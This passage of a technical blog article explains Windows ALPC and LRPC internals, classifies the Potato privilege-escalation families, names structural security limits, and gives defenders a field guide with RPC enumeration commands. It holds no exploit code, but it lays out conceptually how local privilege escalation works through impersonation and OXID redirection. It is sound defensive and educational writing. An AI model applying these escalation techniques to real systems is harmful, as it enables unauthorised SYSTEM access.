&lt;p&gt;Now the Potato disambiguation. The &lt;a href=&quot;https://paragmali.com/blog/windows-access-control-25-years-of-attacks/&quot; rel=&quot;noopener&quot;&gt;Potato family&lt;/a&gt; is the loudest local-EoP cluster of the last decade, and the family contains two structurally different sub-families that share the surname for historical reasons.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Axis&lt;/th&gt;
&lt;th&gt;DCOM-activation Potato&lt;/th&gt;
&lt;th&gt;Named-pipe Potato&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Triggering protocol&lt;/td&gt;
&lt;td&gt;DCOM &lt;code&gt;CoGetInstanceFromIStorage&lt;/code&gt; activation against &lt;code&gt;127.0.0.1&lt;/code&gt; plus the local OXID resolver&lt;/td&gt;
&lt;td&gt;Service connects out to a named pipe controlled by the attacker (often via UNC or by tricking a print or EFS hook)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impersonation primitive&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RpcImpersonateClient&lt;/code&gt; invoked by the activated COM server during the LRPC dispatch&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; invoked by the attacker on the receiving end of the pipe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Required attacker privilege&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; or &lt;code&gt;SeAssignPrimaryTokenPrivilege&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; plus the ability to direct the service to connect to the attacker&apos;s pipe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical exemplars&lt;/td&gt;
&lt;td&gt;RoguePotato (May 2020) [@roguepotato-blog] [@roguepotato-repo], JuicyPotato, RottenPotato&lt;/td&gt;
&lt;td&gt;PrintSpoofer (2020) [@itm4n-printspoofer], EfsPotato, PetitPotam&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post-KB5004442 status&lt;/td&gt;
&lt;td&gt;OXID redirection to remote hosts blocked by &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; enforcement, March 2023 [@mssupport-kb5004442]&lt;/td&gt;
&lt;td&gt;Unchanged at the OS level; mitigation is &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; hygiene&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Underlying IPC fabric&lt;/td&gt;
&lt;td&gt;LRPC on ALPC&lt;/td&gt;
&lt;td&gt;Named pipes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The HITB Amsterdam 2021 talk &lt;em&gt;The Rise of Potatoes: Privilege Escalation in Windows Services&lt;/em&gt; by Andrea Pierini and Antonio Cocomazzi [@hitb-potatoes] is the canonical end-to-end family classification. Pierini and Cocomazzi are also the disclosers of RoguePotato [@roguepotato-blog] -- the variant that broke the post-Windows-10-1809 mitigation by redirecting the OXID resolver to an attacker-controlled host on a port other than 135. The disclosure was May 11, 2020, building on their December 6, 2019 &quot;RogueWinRM&quot; precursor work [@roguewinrm-blog] in which they obtained a SYSTEM identification token but not yet a usable impersonation token.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Does the writeup say &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; or &lt;code&gt;RpcImpersonateClient&lt;/code&gt;? The first is a named-pipe primitive. The second is an LRPC-on-ALPC primitive. The trigger transport may be shared (DCOM activation, RPRN, EFSR), but the impersonation primitive is what tells you which IPC surface the attack actually exercises -- and which mitigation closes it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The KB5004442 DCOM hardening rollout [@mssupport-kb5004442], which addresses CVE-2021-26414, completed phase 3 on March 14, 2023. Phase 3 enabled the hardening with no override path: DCOM activations are subject to &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; as a mandatory minimum, and the previously available registry overrides were removed. The OS-default configuration since March 2023 closes the JuicyPotato variant that depended on outbound DCOM to TCP/135 with downgraded authentication. RoguePotato and its descendants survived the rollout because they did not depend on the downgrade -- they depend on the OXID redirect itself, which the hardening did not block at the OS-default configuration.&lt;/p&gt;

Two adjacent kernel-IPC primitives deserve a footnote. The Windows Notification Facility (WNF) is a kernel-mode publish-subscribe channel for one-way state notifications [@tob-wnf]; processes register interest in named &quot;state names&quot; and the kernel delivers updates. Event Tracing for Windows (ETW) is the kernel&apos;s one-way event-streaming substrate [@tob-etw]; providers emit structured events, controllers configure sessions, and consumers read the events back. Yarden Shafir&apos;s Trail of Bits posts on both are the canonical practitioner references for the architectural-cousin framing. Neither WNF nor ETW competes with LRPC for the request-reply use case, because neither is request-reply. They are family of ALPC -- kernel-mediated message buses -- but they solve different problems.
&lt;p&gt;The comparison matrix gives us the surface area of competing primitives. The next section asks: given this surface area, what can the OS structurally not guarantee?&lt;/p&gt;
&lt;h2&gt;9. The Limits -- Three Things ALPC and LRPC Structurally Cannot Enforce&lt;/h2&gt;
&lt;p&gt;The Vista redesign closed half the structural problem of LPC. It left three other things permanently open, and no future ALPC version can close them without a new ABI. Each of the three is a property of the trust model, not a bug in any specific server. Each has a CVE-history footprint that confirms the structural framing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The interface-callback gate cannot be enforced by the OS.&lt;/strong&gt; The &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; contract [@msdocs-rpcregisterif2] accepts a function pointer into the application&apos;s address space; the runtime trusts whatever the callback returns. The OS-side enforcement available without an ABI change is at most &quot;invoke the callback&quot; (which &lt;code&gt;RPC_IF_SEC_NO_CACHE&lt;/code&gt; [@msdocs-ifflags] already enforces on every call). The OS cannot read the callback&apos;s source, cannot infer its policy, and cannot decide whether the callback&apos;s verdict matches what the application&apos;s specification says it should be. Every interface-callback EoP -- CVE-2019-1162 MSCTF [@ormandy-ctf-2019], the PPL-COM class [@forshaw-com-ppl-2018], CVE-2018-8440 [@nvd-cve-2018-8440] -- is a structural instance of this bound. Closing it requires either inventing a declarative authorization ABI the OS can validate, or sandboxing callback execution. Neither has been proposed as a stable Microsoft direction in any public artefact through 2026.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;There is no transitive caller identity.&lt;/strong&gt; ALPC&apos;s Security message attribute captures the caller&apos;s token at handshake or on demand; it does not carry a chain of trust across multiple hops. A proxy server in the middle of a call chain has to impersonate explicitly or marshal identity in band, and the receiving party at the far end has no kernel primitive that tells it &quot;the message came from caller A, was forwarded by proxy B, and the original token is still attached.&quot; Confused-deputy attacks in the LRPC fabric are not bugs; they are an inherent property of the trust model. The DCOM-activation Potato class [@roguepotato-blog] [@roguepotato-repo] exploits exactly this property: the DCOM activator passes a token into a privileged COM server, and the server cannot reliably tell whether the token chain on the way in matches what the activator&apos;s specification said it should be.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The kernel routing path is in the trusted computing base.&lt;/strong&gt; The ALPC dispatcher runs in Ring 0. Any bug in &lt;code&gt;_ALPC_PORT&lt;/code&gt; object lifecycle, in &lt;code&gt;_ALPC_HANDLE_DATA&lt;/code&gt; reference counting, in message-attribute marshalling, or in any of the dozens of structures Geoff Chappell&apos;s site [@chappell-alpc] [@chappell-alpcp] documents but Microsoft does not, is a direct kernel-elevation primitive. The CVE history demonstrates the assumption is wishful: CVE-2018-8440 [@nvd-cve-2018-8440] has a kernel reference-counting flavour in addition to the well-known interface-callback flavour, and several of the Patch-Tuesday ALPC EoP advisories of 2020-2024 carry NVD descriptions that say &quot;improperly handles calls to Advanced Local Procedure Call (ALPC)&quot; with no further detail because the underlying bug is a kernel bookkeeping issue Microsoft does not enumerate. The kernel routing path is settled engineering by any reasonable standard, but settled engineering is not zero-bug engineering. A new ALPC CVE in any given Patch Tuesday is consistent with the structural model.&lt;/p&gt;

flowchart TD
    A[The interface-callback gate -- the OS cannot validate the callback body] --&amp;gt; D[Patch-Tuesday treadmill -- interface callback CVEs, integrity-level CVEs, kernel ALPC CVEs]
    B[No transitive caller identity -- ALPC has no chain-of-trust primitive across hops] --&amp;gt; D
    C[The kernel routing path is in the TCB -- any _ALPC_PORT or attribute bug is a direct kernel EoP] --&amp;gt; D
&lt;p&gt;There is a fourth observation that is not an impossibility result but is worth stating in the same breath: &lt;strong&gt;the practical upper bound on local authentication strength&lt;/strong&gt;. &lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; is the practical ceiling for local LRPC; the &lt;code&gt;ncalrpc&lt;/code&gt; transport supports only &lt;code&gt;RPC_C_AUTHN_WINNT&lt;/code&gt; authentication [@msdocs-protseq], and the strongest integrity check the runtime offers under that authentication service is packet integrity. The KB5004442 DCOM rollout [@mssupport-kb5004442] raised the &lt;em&gt;minimum&lt;/em&gt; for DCOM activations to &lt;code&gt;PKT_INTEGRITY&lt;/code&gt; in March 2023; it did not change the &lt;em&gt;ceiling&lt;/em&gt;. The gap between upper and lower bounds is substantial and structural: raising mandatory authentication closes the unauthenticated vector and leaves the authenticated-but-unauthorized vector -- the interface-callback class -- wide open.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The OS can require that the callback runs. It cannot require that the callback returns the right answer. The Patch-Tuesday treadmill is the consequence.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; CVE-2017-11783, CVE-2018-8440, and CVE-2019-1162 were the canonical exemplars of the interface-callback class. They were not unlucky outliers from an otherwise sound engineering effort. They are instances of a class the design of &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; cannot exclude. Almost every subsequent year of Patch Tuesdays has shipped further instances of the same class, and 2026&apos;s count is on track to be no smaller than 2018&apos;s.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Closing the interface-callback gap would look like one of two architectural shifts. Either Microsoft would introduce a declarative authorization language for RPC interfaces -- a manifest the application ships alongside the IDL that the runtime can parse and the OS can validate -- and then forbid the imperative callback. Or the runtime would execute the callback inside a sandbox that constrains what the callback can do (no arbitrary memory reads of the service&apos;s address space, no ability to issue privileged syscalls, no ability to side-channel through global state). Neither is on a publicly-named Microsoft roadmap; the closest public artefact is Forshaw&apos;s ongoing tooling work on parsing the interface inventory [@forshaw-saatools] [@forshaw-rpc-2019] [@forshaw-poc2023], which equips defenders to audit the callbacks they have rather than to replace the model.&lt;/p&gt;
&lt;p&gt;The limits are honest. They are also not the whole story. Research has not stopped trying to close the gap, and the next section names what is still active.&lt;/p&gt;
&lt;p&gt;The Patch-Tuesday treadmill is the &lt;em&gt;expected&lt;/em&gt; steady state, not a transitional embarrassment. Closing the class requires reworking the contract -- a different ABI, or a sandboxed execution model -- and no public Microsoft roadmap commits to either.&lt;/p&gt;
&lt;h2&gt;10. Open Problems and a Practical Field Guide (2024-2026)&lt;/h2&gt;
&lt;p&gt;The 2024-2026 conference cycle is still arguing about how to make the interface-callback class scalable to defend. This section enumerates the open problems and then closes with the practical workflow a defender or an in-house RPC author can run today. The practical recipe is in part an answer to the open problems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 1: public RPC fuzzing at Microsoft-internal scale.&lt;/strong&gt; The public ceiling is RPCForge [@rpcforge] for NDR-aware fuzzing, Forshaw&apos;s &lt;code&gt;NtObjectManager&lt;/code&gt; for interface inventory and client generation [@forshaw-saatools] [@forshaw-rpc-2019], and the November 2023 PoC talk &lt;em&gt;Building More Windows RPC Tooling for Security Research&lt;/em&gt; [@forshaw-poc2023] for the latest research-tooling continuation. Microsoft&apos;s internal pipeline is not public; whether a coverage-guided NDR64 fuzzer can become a small-team repeatable Patch-Tuesday tool is open.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 2: auditing the interface-registration model for structural permissiveness.&lt;/strong&gt; A defender using &lt;code&gt;Get-RpcServer&lt;/code&gt; can enumerate every LRPC interface on a Windows install and dump each interface&apos;s procedures and security descriptor. The defender cannot tell, without per-interface manual review, whether a registered callback is correct. Heuristic detection of NULL &lt;code&gt;IfCallbackFn&lt;/code&gt; is mechanical; detection of &lt;em&gt;semantically&lt;/em&gt; permissive callbacks -- callbacks whose body trusts a field the caller controls -- is open and probably AI-shaped.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 3: &lt;code&gt;RPC_IF_SEC_NO_CACHE&lt;/code&gt; adoption and cost.&lt;/strong&gt; No public catalogue of which Microsoft services use the flag exists. No per-call cost benchmark is published. Defender heuristics that recommend the flag for high-risk interfaces cannot quantify the performance trade-off they are recommending.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 4: the local-COM-over-LRPC bypass class.&lt;/strong&gt; Forshaw&apos;s 2018 PPL-COM post [@forshaw-com-ppl-2018] articulated a class of attack against Protected Process Light that continues to surface in CVE reports. The structural class is unaddressed at the OS level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 5: ALPC as covert channel.&lt;/strong&gt; The CVE-2019-1162 MSCTF fix [@ormandy-ctf-2019] narrowed the MSCTF subsystem&apos;s exposure. The general class of &quot;shared system ALPC ports that ignore caller integrity&quot; is structural; identifying others requires the kind of systematic audit Open Problem 2 names.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 6: defender SOC integration of the &lt;code&gt;Microsoft-Windows-Kernel-ALPC&lt;/code&gt; &lt;a href=&quot;https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/&quot; rel=&quot;noopener&quot;&gt;ETW provider&lt;/a&gt;&lt;/strong&gt; [@msdocs-etwsys]. The provider is high-volume; production SOC pipelines rarely subscribe to it because the event rate overwhelms commodity collection. Per-call ALPC visibility today is concentrated inside &lt;a href=&quot;https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/&quot; rel=&quot;noopener&quot;&gt;EDR vendors&lt;/a&gt; that gate it behind antimalware-PPL processes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Open problem 7: AppContainer-aware RPC capability checking.&lt;/strong&gt; &lt;code&gt;RpcServerRegisterIf3&lt;/code&gt; [@msdocs-rpcregisterif3] introduces an AppContainer default-deny, but there is no standard pattern for in-house service authors who want to express &quot;this procedure requires capability X.&quot; Service authors roll their own; some get it right.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Author / Org&lt;/th&gt;
&lt;th&gt;Reference&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtObjectManager&lt;/code&gt; / &lt;code&gt;NtCoreLib&lt;/code&gt; (formerly &lt;code&gt;NtApiDotNet&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;LRPC interface enumeration, decompilation, and client generation from PowerShell or .NET&lt;/td&gt;
&lt;td&gt;James Forshaw, Project Zero&lt;/td&gt;
&lt;td&gt;[@forshaw-saatools] [@forshaw-rpc-2019]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RpcView&lt;/td&gt;
&lt;td&gt;Qt5/C++ GUI for browsing RPC servers and decompiled interface metadata across Windows versions&lt;/td&gt;
&lt;td&gt;silverf0x&lt;/td&gt;
&lt;td&gt;[@rpcview-repo]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RPC Investigator&lt;/td&gt;
&lt;td&gt;.NET Forms UI built on &lt;code&gt;NtApiDotNet&lt;/code&gt; for enumeration, client workbench, and an &quot;RPC Sniffer&quot; ETW-backed live view&lt;/td&gt;
&lt;td&gt;Trail of Bits, January 2023&lt;/td&gt;
&lt;td&gt;[@tob-rpcinv-blog] [@rpcinv-repo]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RPCMon&lt;/td&gt;
&lt;td&gt;ETW-based GUI for scanning RPC communication, built like Sysinternals Procmon, depending on Forshaw&apos;s library&lt;/td&gt;
&lt;td&gt;CyberArk Labs&lt;/td&gt;
&lt;td&gt;[@rpcmon-repo]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;RPCForge&lt;/td&gt;
&lt;td&gt;NDR-aware local Python fuzzer for ALPC-exposed RPC interfaces&lt;/td&gt;
&lt;td&gt;Clement Rouault and Thomas Imbert, Sogeti ESEC&lt;/td&gt;
&lt;td&gt;[@rpcforge]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forshaw NDR64 / RPC research pipeline (2023)&lt;/td&gt;
&lt;td&gt;Continued research tooling and conference materials&lt;/td&gt;
&lt;td&gt;James Forshaw&lt;/td&gt;
&lt;td&gt;[@forshaw-poc2023]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;The practical field guide.&lt;/strong&gt; Eight numbered actions for the defender or in-house RPC service author. Each cites a verified source the reader can re-read in full.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; 1. &lt;strong&gt;Enumerate registered LRPC interfaces&lt;/strong&gt; with &lt;code&gt;Install-Module NtObjectManager; Get-RpcServer ... | Where-Object { $_.Endpoints.ProtocolSequence -eq &apos;ncalrpc&apos; }&lt;/code&gt; [@forshaw-saatools] [@forshaw-rpc-2019]. Snapshot before and after Patch Tuesday and diff on (UUID, procedure list, security descriptor). 2. &lt;strong&gt;Enumerate live ALPC server ports&lt;/strong&gt; with &lt;code&gt;Get-NtAlpcServer&lt;/code&gt;. The cmdlet returns the named connection ports; the unnamed per-connection ports are not enumerable by design (see Section 4) [@forshaw-saatools]. 3. &lt;strong&gt;Reach a local RPC server from PowerShell&lt;/strong&gt; with Forshaw&apos;s &lt;code&gt;New-RpcClient&lt;/code&gt; cmdlet, which generates a &lt;code&gt;[NtCoreLib.Win32.Rpc.Client]&lt;/code&gt;-derived class from the parsed server metadata [@forshaw-rpc-2019]. This is the primitive that lets a Patch-Tuesday differential become an actual interaction. 4. &lt;strong&gt;Audit your own RPC service&lt;/strong&gt; for the canonical mistake: any &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; or &lt;code&gt;RpcServerRegisterIf3&lt;/code&gt; call with a NULL &lt;code&gt;IfCallbackFn&lt;/code&gt; argument is &quot;anyone who can open the port can call any procedure on the interface&quot; [@msdocs-rpcregisterif2] [@msdocs-rpcregisterif3]. Treat NULL callbacks as a finding, not a default. 5. &lt;strong&gt;Harden an exposed LRPC interface&lt;/strong&gt; with the flag combination &lt;code&gt;RPC_IF_ALLOW_SECURE_ONLY | RPC_IF_SEC_NO_CACHE&lt;/code&gt; plus an explicit callback that validates &lt;code&gt;I_RpcBindingInqLocalClientPID&lt;/code&gt; and the caller&apos;s token integrity level [@msdocs-ifflags]. The Microsoft Learn note that &quot;Using the RPC_IF_ALLOW_SECURE_ONLY flag does not imply or guarantee a high level of privilege on the part of the calling user&quot; [@msdocs-ifflags] makes the explicit callback non-optional. 6. &lt;strong&gt;For DCOM-activated services&lt;/strong&gt;, accept the KB5004442 default (&lt;code&gt;RPC_C_AUTHN_LEVEL_PKT_INTEGRITY&lt;/code&gt; minimum) and do not invoke registry overrides. The override path was removed in the March 14, 2023 phase 3 rollout [@mssupport-kb5004442]. 7. &lt;strong&gt;For runtime visibility&lt;/strong&gt;, enable the Microsoft-Windows-RPC ETW provider via RPCMon [@rpcmon-repo] or RPC Investigator&apos;s RPC Sniffer [@tob-rpcinv-blog] [@rpcinv-repo]; correlate per-process per-procedure call rates against the service inventory from step 1. 8. &lt;strong&gt;For per-message kernel-level visibility&lt;/strong&gt;, enable the Microsoft-Windows-Kernel-ALPC system provider from an &lt;code&gt;EVENT_TRACE_SYSTEM_LOGGER_MODE&lt;/code&gt; session [@msdocs-etwsys]. Budget for the documented high-volume warning; consider an EDR vendor that runs the provider already if you do not want to host the collection yourself.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;{`
// Real shell pipeline that produces the inputs:
//   Get-RpcServer | Export-Clixml -Path C:\\Snaps\\rpc-pre-patch.xml
//   
//   Get-RpcServer | Export-Clixml -Path C:\\Snaps\\rpc-post-patch.xml
//   Compare-Object (Import-Clixml C:\\Snaps\\rpc-pre-patch.xml) ...
// The diff logic below is what Compare-Object is doing under the hood, in plain JS.&lt;/p&gt;
&lt;p&gt;const pre = new Map([
  [&apos;201ef99a-7fa0-444c-9399-19ba84f12a1a&apos;, [&apos;Activate&apos;,&apos;Cancel&apos;,&apos;Continue&apos;,&apos;GetElevationType&apos;]],
  [&apos;86d35949-83c9-4044-b424-db363231fd0c&apos;, [&apos;SchRpcRegisterTask&apos;,&apos;SchRpcRetrieveTask&apos;,&apos;SchRpcSetSecurity&apos;]],
  [&apos;e1af8308-5d1f-11c9-91a4-08002b14a0fa&apos;, [&apos;ept_lookup&apos;,&apos;ept_map&apos;,&apos;ept_insert&apos;]],
]);&lt;/p&gt;
&lt;p&gt;const post = new Map([
  [&apos;201ef99a-7fa0-444c-9399-19ba84f12a1a&apos;, [&apos;Activate&apos;,&apos;Cancel&apos;,&apos;Continue&apos;,&apos;GetElevationType&apos;,&apos;RequestElevation2&apos;]],
  [&apos;86d35949-83c9-4044-b424-db363231fd0c&apos;, [&apos;SchRpcRegisterTask&apos;,&apos;SchRpcRetrieveTask&apos;,&apos;SchRpcSetSecurityV2&apos;]],
  [&apos;e1af8308-5d1f-11c9-91a4-08002b14a0fa&apos;, [&apos;ept_lookup&apos;,&apos;ept_map&apos;,&apos;ept_insert&apos;]],
]);&lt;/p&gt;
&lt;p&gt;const interfaces = new Set([...pre.keys(), ...post.keys()]);
for (const uuid of interfaces) {
  const a = new Set(pre.get(uuid) || []);
  const b = new Set(post.get(uuid) || []);
  const added   = [...b].filter(p =&amp;gt; !a.has(p));
  const removed = [...a].filter(p =&amp;gt; !b.has(p));
  if (added.length || removed.length) {
    console.log(`Interface ${uuid}`);
    if (added.length)   console.log(&apos;  + added:   &apos; + added.join(&apos;, &apos;));
    if (removed.length) console.log(&apos;  - removed: &apos; + removed.join(&apos;, &apos;));
  }
}
`}&lt;/p&gt;
&lt;p&gt;RPCMon ships a hard-coded RPC interface dictionary named &lt;code&gt;RPC_UUID_Map_Windows10_1909_18363.1977.rpcdb.json&lt;/code&gt; [@rpcmon-repo] -- a snapshot of Windows 10 1909 build 18363.1977 -- as the baseline against which it labels traced interfaces. The choice to bake in a build-specific baseline is evidence of how often the inventory needs refreshing: a defender running RPCMon on Windows 11 23H2 in 2026 is looking up call sites against a six-year-old dictionary. The accompanying tooling Forshaw built makes the regeneration mechanical in principle; the burden of &lt;em&gt;running&lt;/em&gt; the regeneration is what stays on the defender.&lt;/p&gt;

Install Forshaw&apos;s module and dump every local-only RPC interface on the current Windows install, one row per interface, sorted by procedure count:&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;Install-Module NtObjectManager -Scope CurrentUser
Get-RpcServer -DbgHelpPath &quot;$env:ProgramFiles\Debugging Tools for Windows\dbghelp.dll&quot; |
  Where-Object { $_.Endpoints.ProtocolSequence -eq &apos;ncalrpc&apos; } |
  Sort-Object { $_.Procedures.Count } -Descending |
  Select-Object Name, InterfaceId, @{N=&apos;Procs&apos;;E={$_.Procedures.Count}} |
  Format-Table -AutoSize
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expect dozens of named interfaces on a clean Windows 11 install. Save the output, install Patch Tuesday, run it again, and &lt;code&gt;Compare-Object&lt;/code&gt; the two snapshots. That diff is the canonical research workflow that the December 2019 Project Zero post [@forshaw-rpc-2019] introduced.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;

The single most effective change an in-house LRPC author can make tomorrow morning is to move from `RpcServerRegisterIf2` with `IfCallbackFn = NULL` to `RpcServerRegisterIf3` with both an explicit per-interface security descriptor and a callback that explicitly validates caller identity. The migration is mechanical -- the function signatures are upward-compatible -- and the runtime check the `If3` API adds gives the application a per-call enforcement gate that does not depend on the application&apos;s callback being correct. Pair it with `RPC_IF_SEC_NO_CACHE` if the callback inspects token state that can change during a session (group membership, integrity level, AppContainer SID).
&lt;p&gt;The practical recipe answers the everyday question: what do I do tomorrow morning? The misconceptions section answers a harder question: what should I stop believing?&lt;/p&gt;
&lt;h2&gt;11. FAQ -- Six Misconceptions, Removed&lt;/h2&gt;
&lt;p&gt;Half the operational confusion about ALPC and LRPC comes from premises that sound plausible and are wrong. This section names six of them. Each answer starts with the wrong answer, explicitly, before correcting it.&lt;/p&gt;

Wrong answer: yes. Right answer: every service that exposes an LRPC interface is. Services that expose only `ncacn_np` (named-pipe RPC) or `ncacn_ip_tcp` (TCP RPC) are not reachable over ALPC, even when the caller is on the same machine [@msdocs-protseq]. The print spooler, for example, exposes its primary interface over named pipes and is the trigger for several of the named-pipe-Potato attacks; AppInfo, Task Scheduler, and the endpoint mapper expose theirs over LRPC and are reachable through the kernel ALPC fabric. The right mental model is &quot;every Windows service that wants to be reachable locally with first-class kernel-mediated transport uses LRPC on ALPC&quot;, not &quot;every service uses ALPC.&quot;

Wrong answer: yes. Right answer: the DCOM-activation Potatoes (RoguePotato [@roguepotato-blog] [@roguepotato-repo], JuicyPotato, RottenPotato) exercise LRPC-on-ALPC because local DCOM activation rides that fabric; the impersonation primitive is `RpcImpersonateClient` inside the activated COM server. The named-pipe Potatoes (EfsPotato, PrintSpoofer [@itm4n-printspoofer], PetitPotam) use `ImpersonateNamedPipeClient` [@msdocs-impnp] as the impersonation primitive and exercise the named-pipe fabric. The trigger transport can be shared (DCOM, RPRN, EFSR), but the impersonation primitive is what tells you which IPC surface the attack actually exercises. See Section 8 for the 30-second classifier and the HITB 2021 Pierini and Cocomazzi talk [@hitb-potatoes] for the canonical end-to-end family classification.

Wrong answer: yes. Several secondary writeups (and the original input premise for this article) say so. Right answer: named connection ports have Object Manager names, typically under `\RPC Control` or per-session AppContainer subtrees. The per-connection communication ports created by `NtAlpcAcceptConnectPort` are unnamed and exist only as handles. This is the structural correction Section 4 walks in full and the load-bearing invariant the Vista redesign rests on: only the parties that completed the handshake can address the per-connection channel. The kernel does not let anyone else find it because there is no name to find.

Wrong answer: yes, it is in the SDK. Right answer: partially. Microsoft *does not* publish a Win32 or WDK API reference for the `Nt*Alpc*` and `Alpc*` surface; the de facto syscall reference is NtDoc [@ntdoc-ntalpc], and the de facto structure reference is Geoff Chappell&apos;s site [@chappell-alpc] [@chappell-alpcp]. Microsoft *does* document ALPC architecturally in *Windows Internals 7th Edition Part 2* [@wininternals-7e], Chapter 8 section &quot;Advanced local procedure call (ALPC)&quot;; through the `Microsoft-Windows-Kernel-ALPC` ETW provider [@msdocs-etwsys]; and indirectly through the user-mode RPC runtime documentation. The documentation gap is a deliberate choice -- Microsoft&apos;s position is that application authors should use the RPC runtime, not the kernel ALPC API -- and the gap is the reason the public knowledge of ALPC comes from a handful of named researchers reverse-engineering it.

Wrong answer: yes, the abbreviations collide so they must be related. Right answer: LPC was the original Windows NT 3.1-through-Server-2003 kernel IPC primitive, replaced by ALPC in Vista (November 2006) and removed from the kernel by Windows 7 [@csandker-alpc]. LRPC is the Microsoft RPC runtime&apos;s *transport* selected when `ncalrpc` is the protocol sequence [@msdocs-protseq]; it has always lived inside `rpcrt4.dll`, and it rides on top of kernel ALPC ports. The two entities are at different layers (kernel object vs user-mode transport) and were named a decade apart -- LRPC in 1994, ALPC in 2006. The abbreviation collision is real; the entities are not the same thing.

Wrong answer: on the Trail of Bits blog. Right answer: it does not exist under that title. The input premise for this article (and several AI-generated summaries circulating in 2024-2025) referenced a *Trail of Bits &quot;ALPC Internals&quot; series* by Shafir. The Trail of Bits author page for Yarden Shafir [@tob-shafir-author] lists her actual posts; the kernel-IPC posts are *Introducing Windows Notification Facility&apos;s WNF Code Integrity* (May 2023) [@tob-wnf] and *ETW Internals for Security Research and Forensics* (November 2023) [@tob-etw]. Her dedicated ALPC material lives in her conference training surface, indexed via the Winsider Seminars author page [@winsider-yarden]. The cousin posts (WNF and ETW) are the right Trail of Bits citations for the architectural-cousin framing.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Three sources are worth the rest of an afternoon. Christian Sandker&apos;s three-part &lt;em&gt;Offensive Windows IPC&lt;/em&gt; series [@csandker-alpc] [@csandker-rpc] [@csandker-np] is the highest-signal practitioner walkthrough of LPC, ALPC, LRPC, and named pipes available for free on the open web. &lt;em&gt;Windows Internals 7th Edition Part 2&lt;/em&gt; Chapter 8 section &lt;em&gt;Advanced local procedure call (ALPC)&lt;/em&gt; [@wininternals-7e] is the Microsoft-blessed architectural reference; cite by ISBN 978-0-13-546238-6. James Forshaw&apos;s December 17, 2019 Project Zero post &lt;em&gt;Calling Local Windows RPC Servers from .NET&lt;/em&gt; [@forshaw-rpc-2019] is the canonical introduction to the &lt;code&gt;NtObjectManager&lt;/code&gt; tooling and the methodology change it unlocked. For the sister-article context in this series: the Object Manager Namespace post explains the &lt;code&gt;\RPC Control&lt;/code&gt; parent that every named ALPC connection port lives under, and the upcoming Potato sister post walks the DCOM-activation and named-pipe sub-families through to a working PoC.&lt;/p&gt;
&lt;/blockquote&gt;

